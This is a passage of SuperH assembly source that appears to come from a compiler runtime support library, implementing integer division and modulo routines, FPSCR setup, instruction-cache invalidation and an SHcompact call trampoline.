register unsigned long long r19 asm ("r19") = j;
r19 <<= 31;
r18 <<= 31;
do
if (r4 >= r19)
r0 |= r18, r4 -= r19;
while (r19 >>= 1, r18 >>= 1);
return r0;
}
*/
GLOBAL(udivsi3):
pt/l LOCAL(udivsi3_dontadd), tr2
pt/l LOCAL(udivsi3_loop), tr1
ptabs/l r18, tr0
movi 0, r0
movi 1, r18
addz.l r5, r63, r19
addz.l r4, r63, r4
shlli r19, 31, r19
shlli r18, 31, r18
LOCAL(udivsi3_loop):
bgtu r19, r4, tr2
or r0, r18, r0
sub r4, r19, r4
LOCAL(udivsi3_dontadd):
shlri r18, 1, r18
shlri r19, 1, r19
bnei r18, 0, tr1
blink tr0, r63
#else
GLOBAL(udivsi3):
// inputs: r4,r5
// clobbered: r18,r19,r20,r21,r22,r25,tr0
// result in r0.
addz.l r5,r63,r22
nsb r22,r0
shlld r22,r0,r25
shlri r25,48,r25
movi 0xffffffffffffbb0c,r20 // shift count eqiv 76
sub r20,r25,r21
mmulfx.w r21,r21,r19
mshflo.w r21,r63,r21
ptabs r18,tr0
mmulfx.w r25,r19,r19
sub r20,r0,r0
/* bubble */
msub.w r21,r19,r19
addi r19,-2,r21 /* It would be nice for scheduling to do this add to r21
before the msub.w, but we need a different value for
r19 to keep errors under control. */
mulu.l r4,r21,r18
mmulfx.w r19,r19,r19
shlli r21,15,r21
shlrd r18,r0,r18
mulu.l r18,r22,r20
mmacnfx.wl r25,r19,r21
/* bubble */
sub r4,r20,r25
mulu.l r25,r21,r19
addi r0,14,r0
/* bubble */
shlrd r19,r0,r19
mulu.l r19,r22,r20
add r18,r19,r18
/* bubble */
sub.l r25,r20,r25
mulu.l r25,r21,r19
addz.l r25,r63,r25
sub r25,r22,r25
shlrd r19,r0,r19
mulu.l r19,r22,r20
addi r25,1,r25
add r18,r19,r18
cmpgt r25,r20,r25
add.l r18,r25,r0
blink tr0,r63
#endif
#elif defined (__SHMEDIA__)
/* m5compact-nofpu - more emphasis on code size than on speed, but don't
ignore speed altogether - div1 needs 9 cycles, subc 7 and rotcl 4.
So use a short shmedia loop. */
// clobbered: r20,r21,r25,tr0,tr1,tr2
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
GLOBAL(udivsi3):
pt/l LOCAL(udivsi3_dontsub), tr0
pt/l LOCAL(udivsi3_loop), tr1
ptabs/l r18,tr2
shlli r5,32,r25
addi r25,-1,r21
addz.l r4,r63,r20
LOCAL(udivsi3_loop):
shlli r20,1,r20
bgeu/u r21,r20,tr0
sub r20,r21,r20
LOCAL(udivsi3_dontsub):
addi.l r25,-1,r25
bnei r25,-32,tr1
add.l r20,r63,r0
blink tr2,r63
#else /* ! defined (__SHMEDIA__) */
LOCAL(div8):
div1 r5,r4
LOCAL(div7):
div1 r5,r4; div1 r5,r4; div1 r5,r4
div1 r5,r4; div1 r5,r4; div1 r5,r4; rts; div1 r5,r4
LOCAL(divx4):
div1 r5,r4; rotcl r0
div1 r5,r4; rotcl r0
div1 r5,r4; rotcl r0
rts; div1 r5,r4
GLOBAL(udivsi3):
sts.l pr,@-r15
extu.w r5,r0
cmp/eq r5,r0
#ifdef __sh1__
bf LOCAL(large_divisor)
#else
bf/s LOCAL(large_divisor)
#endif
div0u
swap.w r4,r0
shlr16 r4
bsr LOCAL(div8)
shll16 r5
bsr LOCAL(div7)
div1 r5,r4
xtrct r4,r0
xtrct r0,r4
bsr LOCAL(div8)
swap.w r4,r4
bsr LOCAL(div7)
div1 r5,r4
lds.l @r15+,pr
xtrct r4,r0
swap.w r0,r0
rotcl r0
rts
shlr16 r5
LOCAL(large_divisor):
#ifdef __sh1__
div0u
#endif
mov #0,r0
xtrct r4,r0
xtrct r0,r4
bsr LOCAL(divx4)
rotcl r0
bsr LOCAL(divx4)
rotcl r0
bsr LOCAL(divx4)
rotcl r0
bsr LOCAL(divx4)
rotcl r0
lds.l @r15+,pr
rts
rotcl r0
ENDFUNC(GLOBAL(udivsi3))
#endif /* ! __SHMEDIA__ */
#endif /* __SH4__ */
#endif /* L_udivsi3 */
#ifdef L_udivdi3
#ifdef __SHMEDIA__
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
.global GLOBAL(udivdi3)
FUNC(GLOBAL(udivdi3))
GLOBAL(udivdi3):
HIDDEN_ALIAS(udivdi3_internal,udivdi3)
shlri r3,1,r4
nsb r4,r22
shlld r3,r22,r6
shlri r6,49,r5
movi 0xffffffffffffbaf1,r21 /* .l shift count 17. */
sub r21,r5,r1
mmulfx.w r1,r1,r4
mshflo.w r1,r63,r1
sub r63,r22,r20 // r63 == 64 % 64
mmulfx.w r5,r4,r4
pta LOCAL(large_divisor),tr0
addi r20,32,r9
msub.w r1,r4,r1
madd.w r1,r1,r1
mmulfx.w r1,r1,r4
shlri r6,32,r7
bgt/u r9,r63,tr0 // large_divisor
mmulfx.w r5,r4,r4
shlri r2,32+14,r19
addi r22,-31,r0
msub.w r1,r4,r1
mulu.l r1,r7,r4
addi r1,-3,r5
mulu.l r5,r19,r5
sub r63,r4,r4 // Negate to make sure r1 ends up <= 1/r2
shlri r4,2,r4 /* chop off leading %0000000000000000 001.00000000000 - or, as
the case may be, %0000000000000000 000.11111111111, still */
muls.l r1,r4,r4 /* leaving at least one sign bit. */
mulu.l r5,r3,r8
mshalds.l r1,r21,r1
shari r4,26,r4
shlld r8,r0,r8
add r1,r4,r1 // 31 bit unsigned reciprocal now in r1 (msb equiv. 0.5)
sub r2,r8,r2
/* Can do second step of 64 : 32 div now, using r1 and the rest in r2. */
shlri r2,22,r21
mulu.l r21,r1,r21
shlld r5,r0,r8
addi r20,30-22,r0
shlrd r21,r0,r21
mulu.l r21,r3,r5
add r8,r21,r8
mcmpgt.l r21,r63,r21 // See Note 1
addi r20,30,r0
mshfhi.l r63,r21,r21
sub r2,r5,r2
andc r2,r21,r2
/* small divisor: need a third divide step */
mulu.l r2,r1,r7
ptabs r18,tr0
addi r2,1,r2
shlrd r7,r0,r7
mulu.l r7,r3,r5
add r8,r7,r8
sub r2,r3,r2
cmpgt r2,r5,r5
add r8,r5,r2
/* could test r3 here to check for divide by zero. */
blink tr0,r63
LOCAL(large_divisor):
mmulfx.w r5,r4,r4
shlrd r2,r9,r25
shlri r25,32,r8
msub.w r1,r4,r1
mulu.l r1,r7,r4
addi r1,-3,r5
mulu.l r5,r8,r5
sub r63,r4,r4 // Negate to make sure r1 ends up <= 1/r2
shlri r4,2,r4 /* chop off leading %0000000000000000 001.00000000000 - or, as
the case may be, %0000000000000000 000.11111111111, still */
muls.l r1,r4,r4 /* leaving at least one sign bit. */
shlri r5,14-1,r8
mulu.l r8,r7,r5
mshalds.l r1,r21,r1
shari r4,26,r4
add r1,r4,r1 // 31 bit unsigned reciprocal now in r1 (msb equiv. 0.5)
sub r25,r5,r25
/* Can do second step of 64 : 32 div now, using r1 and the rest in r25. */
shlri r25,22,r21
mulu.l r21,r1,r21
pta LOCAL(no_lo_adj),tr0
addi r22,32,r0
shlri r21,40,r21
mulu.l r21,r7,r5
add r8,r21,r8
shlld r2,r0,r2
sub r25,r5,r25
bgtu/u r7,r25,tr0 // no_lo_adj
addi r8,1,r8
sub r25,r7,r25
LOCAL(no_lo_adj):
mextr4 r2,r25,r2
/* large_divisor: only needs a few adjustments. */
mulu.l r8,r6,r5
ptabs r18,tr0
/* bubble */
cmpgtu r5,r2,r5
sub r8,r5,r2
blink tr0,r63
ENDFUNC(GLOBAL(udivdi3))
/* Note 1: To shift the result of the second divide stage so that the result
always fits into 32 bits, yet we still reduce the rest sufficiently
would require a lot of instructions to do the shifts just right. Using
the full 64 bit shift result to multiply with the divisor would require
four extra instructions for the upper 32 bits (shift / mulu / shift / sub).
Fortunately, if the upper 32 bits of the shift result are nonzero, we
know that the rest after taking this partial result into account will
fit into 32 bits. So we just clear the upper 32 bits of the rest if the
upper 32 bits of the partial result are nonzero. */
#endif /* __SHMEDIA__ */
#endif /* L_udivdi3 */
#ifdef L_divdi3
#ifdef __SHMEDIA__
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
.global GLOBAL(divdi3)
FUNC(GLOBAL(divdi3))
GLOBAL(divdi3):
pta GLOBAL(udivdi3_internal),tr0
shari r2,63,r22
shari r3,63,r23
xor r2,r22,r2
xor r3,r23,r3
sub r2,r22,r2
sub r3,r23,r3
beq/u r22,r23,tr0
ptabs r18,tr1
blink tr0,r18
sub r63,r2,r2
blink tr1,r63
ENDFUNC(GLOBAL(divdi3))
#endif /* __SHMEDIA__ */
#endif /* L_divdi3 */
#ifdef L_umoddi3
#ifdef __SHMEDIA__
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
.global GLOBAL(umoddi3)
FUNC(GLOBAL(umoddi3))
GLOBAL(umoddi3):
HIDDEN_ALIAS(umoddi3_internal,umoddi3)
shlri r3,1,r4
nsb r4,r22
shlld r3,r22,r6
shlri r6,49,r5
movi 0xffffffffffffbaf1,r21 /* .l shift count 17. */
sub r21,r5,r1
mmulfx.w r1,r1,r4
mshflo.w r1,r63,r1
sub r63,r22,r20 // r63 == 64 % 64
mmulfx.w r5,r4,r4
pta LOCAL(large_divisor),tr0
addi r20,32,r9
msub.w r1,r4,r1
madd.w r1,r1,r1
mmulfx.w r1,r1,r4
shlri r6,32,r7
bgt/u r9,r63,tr0 // large_divisor
mmulfx.w r5,r4,r4
shlri r2,32+14,r19
addi r22,-31,r0
msub.w r1,r4,r1
mulu.l r1,r7,r4
addi r1,-3,r5
mulu.l r5,r19,r5
sub r63,r4,r4 // Negate to make sure r1 ends up <= 1/r2
shlri r4,2,r4 /* chop off leading %0000000000000000 001.00000000000 - or, as
the case may be, %0000000000000000 000.11111111111, still */
muls.l r1,r4,r4 /* leaving at least one sign bit. */
mulu.l r5,r3,r5
mshalds.l r1,r21,r1
shari r4,26,r4
shlld r5,r0,r5
add r1,r4,r1 // 31 bit unsigned reciprocal now in r1 (msb equiv. 0.5)
sub r2,r5,r2
/* Can do second step of 64 : 32 div now, using r1 and the rest in r2. */
shlri r2,22,r21
mulu.l r21,r1,r21
addi r20,30-22,r0
/* bubble */ /* could test r3 here to check for divide by zero. */
shlrd r21,r0,r21
mulu.l r21,r3,r5
mcmpgt.l r21,r63,r21 // See Note 1
addi r20,30,r0
mshfhi.l r63,r21,r21
sub r2,r5,r2
andc r2,r21,r2
/* small divisor: need a third divide step */
mulu.l r2,r1,r7
ptabs r18,tr0
sub r2,r3,r8 /* re-use r8 here for rest - r3 */
shlrd r7,r0,r7
mulu.l r7,r3,r5
/* bubble */
addi r8,1,r7
cmpgt r7,r5,r7
cmvne r7,r8,r2
sub r2,r5,r2
blink tr0,r63
LOCAL(large_divisor):
mmulfx.w r5,r4,r4
shlrd r2,r9,r25
shlri r25,32,r8
msub.w r1,r4,r1
mulu.l r1,r7,r4
addi r1,-3,r5
mulu.l r5,r8,r5
sub r63,r4,r4 // Negate to make sure r1 ends up <= 1/r2
shlri r4,2,r4 /* chop off leading %0000000000000000 001.00000000000 - or, as
the case may be, %0000000000000000 000.11111111111, still */
muls.l r1,r4,r4 /* leaving at least one sign bit. */
shlri r5,14-1,r8
mulu.l r8,r7,r5
mshalds.l r1,r21,r1
shari r4,26,r4
add r1,r4,r1 // 31 bit unsigned reciprocal now in r1 (msb equiv. 0.5)
sub r25,r5,r25
/* Can do second step of 64 : 32 div now, using r1 and the rest in r25. */
shlri r25,22,r21
mulu.l r21,r1,r21
pta LOCAL(no_lo_adj),tr0
addi r22,32,r0
shlri r21,40,r21
mulu.l r21,r7,r5
add r8,r21,r8
shlld r2,r0,r2
sub r25,r5,r25
bgtu/u r7,r25,tr0 // no_lo_adj
addi r8,1,r8
sub r25,r7,r25
LOCAL(no_lo_adj):
mextr4 r2,r25,r2
/* large_divisor: only needs a few adjustments. */
mulu.l r8,r6,r5
ptabs r18,tr0
add r2,r6,r7
cmpgtu r5,r2,r8
cmvne r8,r7,r2
sub r2,r5,r2
shlrd r2,r22,r2
blink tr0,r63
ENDFUNC(GLOBAL(umoddi3))
/* Note 1: To shift the result of the second divide stage so that the result
always fits into 32 bits, yet we still reduce the rest sufficiently
would require a lot of instructions to do the shifts just right. Using
the full 64 bit shift result to multiply with the divisor would require
four extra instructions for the upper 32 bits (shift / mulu / shift / sub).
Fortunately, if the upper 32 bits of the shift result are nonzero, we
know that the rest after taking this partial result into account will
fit into 32 bits. So we just clear the upper 32 bits of the rest if the
upper 32 bits of the partial result are nonzero. */
#endif /* __SHMEDIA__ */
#endif /* L_umoddi3 */
#ifdef L_moddi3
#ifdef __SHMEDIA__
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
.global GLOBAL(moddi3)
FUNC(GLOBAL(moddi3))
GLOBAL(moddi3):
pta GLOBAL(umoddi3_internal),tr0
shari r2,63,r22
shari r3,63,r23
xor r2,r22,r2
xor r3,r23,r3
sub r2,r22,r2
sub r3,r23,r3
beq/u r22,r63,tr0
ptabs r18,tr1
blink tr0,r18
sub r63,r2,r2
blink tr1,r63
ENDFUNC(GLOBAL(moddi3))
#endif /* __SHMEDIA__ */
#endif /* L_moddi3 */
#ifdef L_set_fpscr
#if !defined (__SH2A_NOFPU__)
#if defined (__SH2E__) || defined (__SH2A__) || defined (__SH3E__) || defined(__SH4_SINGLE__) || defined(__SH4__) || defined(__SH4_SINGLE_ONLY__) || __SH5__ == 32
#ifdef __SH5__
.mode SHcompact
#endif
.global GLOBAL(set_fpscr)
HIDDEN_FUNC(GLOBAL(set_fpscr))
GLOBAL(set_fpscr):
lds r4,fpscr
#ifdef __PIC__
mov.l r12,@-r15
mova LOCAL(set_fpscr_L0),r0
mov.l LOCAL(set_fpscr_L0),r12
add r0,r12
mov.l LOCAL(set_fpscr_L1),r0
mov.l @(r0,r12),r1
mov.l @r15+,r12
#else
mov.l LOCAL(set_fpscr_L1),r1
#endif
swap.w r4,r0
or #24,r0
#ifndef FMOVD_WORKS
xor #16,r0
#endif
#if defined(__SH4__) || defined (__SH2A_DOUBLE__)
swap.w r0,r3
mov.l r3,@(4,r1)
#else /* defined (__SH2E__) || defined(__SH3E__) || defined(__SH4_SINGLE*__) */
swap.w r0,r2
mov.l r2,@r1
#endif
#ifndef FMOVD_WORKS
xor #8,r0
#else
xor #24,r0
#endif
#if defined(__SH4__) || defined (__SH2A_DOUBLE__)
swap.w r0,r2
rts
mov.l r2,@r1
#else /* defined(__SH2E__) || defined(__SH3E__) || defined(__SH4_SINGLE*__) */
swap.w r0,r3
rts
mov.l r3,@(4,r1)
#endif
.align 2
#ifdef __PIC__
LOCAL(set_fpscr_L0):
.long _GLOBAL_OFFSET_TABLE_
LOCAL(set_fpscr_L1):
.long GLOBAL(fpscr_values@GOT)
#else
LOCAL(set_fpscr_L1):
.long GLOBAL(fpscr_values)
#endif
ENDFUNC(GLOBAL(set_fpscr))
#ifndef NO_FPSCR_VALUES
#ifdef __ELF__
.comm GLOBAL(fpscr_values),8,4
#else
.comm GLOBAL(fpscr_values),8
#endif /* ELF */
#endif /* NO_FPSCR_VALUES */
#endif /* SH2E / SH3E / SH4 */
#endif /* __SH2A_NOFPU__ */
#endif /* L_set_fpscr */
#ifdef L_ic_invalidate
#if __SH5__ == 32
.mode SHmedia
.section .text..SHmedia32,"ax"
.align 2
.global GLOBAL(init_trampoline)
HIDDEN_FUNC(GLOBAL(init_trampoline))
GLOBAL(init_trampoline):
st.l r0,8,r2
#ifdef __LITTLE_ENDIAN__
movi 9,r20
shori 0x402b,r20
shori 0xd101,r20
shori 0xd002,r20
#else
movi 0xffffffffffffd002,r20
shori 0xd101,r20
shori 0x402b,r20
shori 9,r20
#endif
st.q r0,0,r20
st.l r0,12,r3
ENDFUNC(GLOBAL(init_trampoline))
.global GLOBAL(ic_invalidate)
HIDDEN_FUNC(GLOBAL(ic_invalidate))
GLOBAL(ic_invalidate):
ocbwb r0,0
synco
icbi r0, 0
ptabs r18, tr0
synci
blink tr0, r63
ENDFUNC(GLOBAL(ic_invalidate))
#elif defined(__SH4A__)
.global GLOBAL(ic_invalidate)
HIDDEN_FUNC(GLOBAL(ic_invalidate))
GLOBAL(ic_invalidate):
ocbwb @r4
synco
rts
icbi @r4
ENDFUNC(GLOBAL(ic_invalidate))
#elif defined(__SH4_SINGLE__) || defined(__SH4__) || defined(__SH4_SINGLE_ONLY__) || (defined(__SH4_NOFPU__) && !defined(__SH5__))
/* For system code, we use ic_invalidate_line_i, but user code
needs a different mechanism. A kernel call is generally not
available, and it would also be slow. Different SH4 variants use
different sizes and associativities of the Icache. We use a small
bit of dispatch code that can be put hidden in every shared object,
which calls the actual processor-specific invalidation code in a
separate module.
Or if you have operating system support, the OS could mmap the
procesor-specific code from a single page, since it is highly
repetitive. */
.global GLOBAL(ic_invalidate)
HIDDEN_FUNC(GLOBAL(ic_invalidate))
GLOBAL(ic_invalidate):
mov.l 0f,r1
#ifdef __pic__
mova 0f,r0
mov.l 1f,r2
add r1,r0
mov.l @(r0,r2),r1
#endif
ocbwb @r4
mov.l @(8,r1),r0
sub r1,r4
and r4,r0
add r1,r0
jmp @r0
mov.l @(4,r1),r0
#ifndef __pic__
0: .long GLOBAL(ic_invalidate_array)
#else /* __pic__ */
.global GLOBAL(ic_invalidate_array)
/* ??? Why won't the assembler allow to add these two constants? */
0: .long _GLOBAL_OFFSET_TABLE_
1: .long GLOBAL(ic_invalidate_array)@GOT
ENDFUNC(GLOBAL(ic_invalidate))
#endif /* __pic__ */
#endif /* SH4 */
#endif /* L_ic_invalidate */
#ifdef L_ic_invalidate_array
#if defined(__SH4A__) || (defined (__FORCE_SH4A__) && (defined(__SH4_SINGLE__) || defined(__SH4__) || defined(__SH4_SINGLE_ONLY__) || (defined(__SH4_NOFPU__) && !defined(__SH5__))))
.global GLOBAL(ic_invalidate_array)
/* This is needed when an SH4 dso with trampolines is used on SH4A. */
.global GLOBAL(ic_invalidate_array)
FUNC(GLOBAL(ic_invalidate_array))
GLOBAL(ic_invalidate_array):
add r1,r4
synco
rts
icbi @r4
.long 0
ENDFUNC(GLOBAL(ic_invalidate_array))
#elif defined(__SH4_SINGLE__) || defined(__SH4__) || defined(__SH4_SINGLE_ONLY__) || (defined(__SH4_NOFPU__) && !defined(__SH5__))
.global GLOBAL(ic_invalidate_array)
.p2align 5
FUNC(GLOBAL(ic_invalidate_array))
/* This must be aligned to the beginning of a cache line. */
GLOBAL(ic_invalidate_array):
#ifndef WAYS
#define WAYS 4
#define WAY_SIZE 0x4000
#endif
#if WAYS == 1
.rept WAY_SIZE * WAYS / 32
rts
nop
.rept 7
.long WAY_SIZE - 32
.endr
.endr
#elif WAYS <= 6
.rept WAY_SIZE * WAYS / 32
braf r0
add #-8,r0
.long WAY_SIZE + 8
.long WAY_SIZE - 32
.rept WAYS-2
braf r0
nop
.endr
.rept 7 - WAYS
rts
nop
.endr
.endr
#else /* WAYS > 6 */
/* This variant needs two different pages for mmap-ing. */
.rept WAYS-1
.rept WAY_SIZE / 32
braf r0
nop
.long WAY_SIZE
.rept 6
.long WAY_SIZE - 32
.endr
.endr
.endr
.rept WAY_SIZE / 32
rts
.rept 15
nop
.endr
.endr
#endif /* WAYS */
ENDFUNC(GLOBAL(ic_invalidate_array))
#endif /* SH4 */
#endif /* L_ic_invalidate_array */
#if defined (__SH5__) && __SH5__ == 32
#ifdef L_shcompact_call_trampoline
.section .rodata
.align 1
LOCAL(ct_main_table):
.word LOCAL(ct_r2_fp) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r2_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r2_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r3_fp) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r3_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r3_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r4_fp) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r4_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r4_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r5_fp) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r5_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r5_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r6_fph) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r6_fpl) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r6_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r6_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r7_fph) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r7_fpl) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r7_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r7_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r8_fph) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r8_fpl) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r8_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r8_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r9_fph) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r9_fpl) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r9_ld) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r9_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_pop_seq) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_pop_seq) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_r9_pop) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_ret_wide) - datalabel LOCAL(ct_main_label)
.word LOCAL(ct_call_func) - datalabel LOCAL(ct_main_label)
.mode SHmedia
.section .text..SHmedia32, "ax"
.align 2
/* This function loads 64-bit general-purpose registers from the
stack, from a memory address contained in them or from an FP
register, according to a cookie passed in r1. Its execution
time is linear on the number of registers that actually have
to be copied. See sh.h for details on the actual bit pattern.
The function to be called is passed in r0. If a 32-bit return
value is expected, the actual function will be tail-called,
otherwise the return address will be stored in r10 (that the
caller should expect to be clobbered) and the return value
will be expanded into r2/r3 upon return. */
.global GLOBAL(GCC_shcompact_call_trampoline)
FUNC(GLOBAL(GCC_shcompact_call_trampoline))
GLOBAL(GCC_shcompact_call_trampoline):
ptabs/l r0, tr0 /* Prepare to call the actual function. */
movi ((datalabel LOCAL(ct_main_table) - 31 * 2) >> 16) & 65535, r0
pt/l LOCAL(ct_loop), tr1
addz.l r1, r63, r1
shori ((datalabel LOCAL(ct_main_table) - 31 * 2)) & 65535, r0
LOCAL(ct_loop):
nsb r1, r28
shlli r28, 1, r29
ldx.w r0, r29, r30
LOCAL(ct_main_label):
ptrel/l r30, tr2
blink tr2, r63
LOCAL(ct_r2_fp): /* Copy r2 from an FP register. */
/* It must be dr0, so just do it. */
fmov.dq dr0, r2
movi 7, r30
shlli r30, 29, r31
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r3_fp): /* Copy r3 from an FP register. */
/* It is either dr0 or dr2. */
movi 7, r30
shlri r1, 26, r32
shlli r30, 26, r31
andc r1, r31, r1
fmov.dq dr0, r3
beqi/l r32, 4, tr1
fmov.dq dr2, r3
blink tr1, r63
LOCAL(ct_r4_fp): /* Copy r4 from an FP register. */
shlri r1, 23 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r4_fp_copy) - datalabel LOCAL(ct_r4_fp_base), r32
LOCAL(ct_r4_fp_base):
ptrel/l r32, tr2
movi 7, r30
shlli r30, 23, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r4_fp_copy):
fmov.dq dr0, r4
blink tr1, r63
fmov.dq dr2, r4
blink tr1, r63
fmov.dq dr4, r4
blink tr1, r63
LOCAL(ct_r5_fp): /* Copy r5 from an FP register. */
shlri r1, 20 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r5_fp_copy) - datalabel LOCAL(ct_r5_fp_base), r32
LOCAL(ct_r5_fp_base):
ptrel/l r32, tr2
movi 7, r30
shlli r30, 20, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r5_fp_copy):
fmov.dq dr0, r5
blink tr1, r63
fmov.dq dr2, r5
blink tr1, r63
fmov.dq dr4, r5
blink tr1, r63
fmov.dq dr6, r5
blink tr1, r63
LOCAL(ct_r6_fph): /* Copy r6 from a high FP register. */
/* It must be dr8. */
fmov.dq dr8, r6
movi 15, r30
shlli r30, 16, r31
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r6_fpl): /* Copy r6 from a low FP register. */
shlri r1, 16 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r6_fp_copy) - datalabel LOCAL(ct_r6_fp_base), r32
LOCAL(ct_r6_fp_base):
ptrel/l r32, tr2
movi 7, r30
shlli r30, 16, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r6_fp_copy):
fmov.dq dr0, r6
blink tr1, r63
fmov.dq dr2, r6
blink tr1, r63
fmov.dq dr4, r6
blink tr1, r63
fmov.dq dr6, r6
blink tr1, r63
LOCAL(ct_r7_fph): /* Copy r7 from a high FP register. */
/* It is either dr8 or dr10. */
movi 15 << 12, r31
shlri r1, 12, r32
andc r1, r31, r1
fmov.dq dr8, r7
beqi/l r32, 8, tr1
fmov.dq dr10, r7
blink tr1, r63
LOCAL(ct_r7_fpl): /* Copy r7 from a low FP register. */
shlri r1, 12 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r7_fp_copy) - datalabel LOCAL(ct_r7_fp_base), r32
LOCAL(ct_r7_fp_base):
ptrel/l r32, tr2
movi 7 << 12, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r7_fp_copy):
fmov.dq dr0, r7
blink tr1, r63
fmov.dq dr2, r7
blink tr1, r63
fmov.dq dr4, r7
blink tr1, r63
fmov.dq dr6, r7
blink tr1, r63
LOCAL(ct_r8_fph): /* Copy r8 from a high FP register. */
/* It is either dr8 or dr10. */
movi 15 << 8, r31
andi r1, 1 << 8, r32
andc r1, r31, r1
fmov.dq dr8, r8
beq/l r32, r63, tr1
fmov.dq dr10, r8
blink tr1, r63
LOCAL(ct_r8_fpl): /* Copy r8 from a low FP register. */
shlri r1, 8 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r8_fp_copy) - datalabel LOCAL(ct_r8_fp_base), r32
LOCAL(ct_r8_fp_base):
ptrel/l r32, tr2
movi 7 << 8, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r8_fp_copy):
fmov.dq dr0, r8
blink tr1, r63
fmov.dq dr2, r8
blink tr1, r63
fmov.dq dr4, r8
blink tr1, r63
fmov.dq dr6, r8
blink tr1, r63
LOCAL(ct_r9_fph): /* Copy r9 from a high FP register. */
/* It is either dr8 or dr10. */
movi 15 << 4, r31
andi r1, 1 << 4, r32
andc r1, r31, r1
fmov.dq dr8, r9
beq/l r32, r63, tr1
fmov.dq dr10, r9
blink tr1, r63
LOCAL(ct_r9_fpl): /* Copy r9 from a low FP register. */
shlri r1, 4 - 3, r34
andi r34, 3 << 3, r33
addi r33, LOCAL(ct_r9_fp_copy) - datalabel LOCAL(ct_r9_fp_base), r32
LOCAL(ct_r9_fp_base):
ptrel/l r32, tr2
movi 7 << 4, r31
andc r1, r31, r1
blink tr2, r63
LOCAL(ct_r9_fp_copy):
fmov.dq dr0, r9
blink tr1, r63
fmov.dq dr2, r9
blink tr1, r63
fmov.dq dr4, r9
blink tr1, r63
fmov.dq dr6, r9
blink tr1, r63
LOCAL(ct_r2_ld): /* Copy r2 from a memory address. */
pt/l LOCAL(ct_r2_load), tr2
movi 3, r30
shlli r30, 29, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r2, 8, r3
ldx.q r2, r63, r2
/* Fall through. */
LOCAL(ct_r3_ld): /* Copy r3 from a memory address. */
pt/l LOCAL(ct_r3_load), tr2
movi 3, r30
shlli r30, 26, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r3, 8, r4
ldx.q r3, r63, r3
LOCAL(ct_r4_ld): /* Copy r4 from a memory address. */
pt/l LOCAL(ct_r4_load), tr2
movi 3, r30
shlli r30, 23, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r4, 8, r5
ldx.q r4, r63, r4
LOCAL(ct_r5_ld): /* Copy r5 from a memory address. */
pt/l LOCAL(ct_r5_load), tr2
movi 3, r30
shlli r30, 20, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r5, 8, r6
ldx.q r5, r63, r5
LOCAL(ct_r6_ld): /* Copy r6 from a memory address. */
pt/l LOCAL(ct_r6_load), tr2
movi 3 << 16, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r6, 8, r7
ldx.q r6, r63, r6
LOCAL(ct_r7_ld): /* Copy r7 from a memory address. */
pt/l LOCAL(ct_r7_load), tr2
movi 3 << 12, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r7, 8, r8
ldx.q r7, r63, r7
LOCAL(ct_r8_ld): /* Copy r8 from a memory address. */
pt/l LOCAL(ct_r8_load), tr2
movi 3 << 8, r31
and r1, r31, r32
andc r1, r31, r1
beq/l r31, r32, tr2
addi.l r8, 8, r9
ldx.q r8, r63, r8
LOCAL(ct_r9_ld): /* Copy r9 from a memory address. */
pt/l LOCAL(ct_check_tramp), tr2
ldx.q r9, r63, r9
blink tr2, r63
LOCAL(ct_r2_load):
ldx.q r2, r63, r2
blink tr1, r63
LOCAL(ct_r3_load):
ldx.q r3, r63, r3
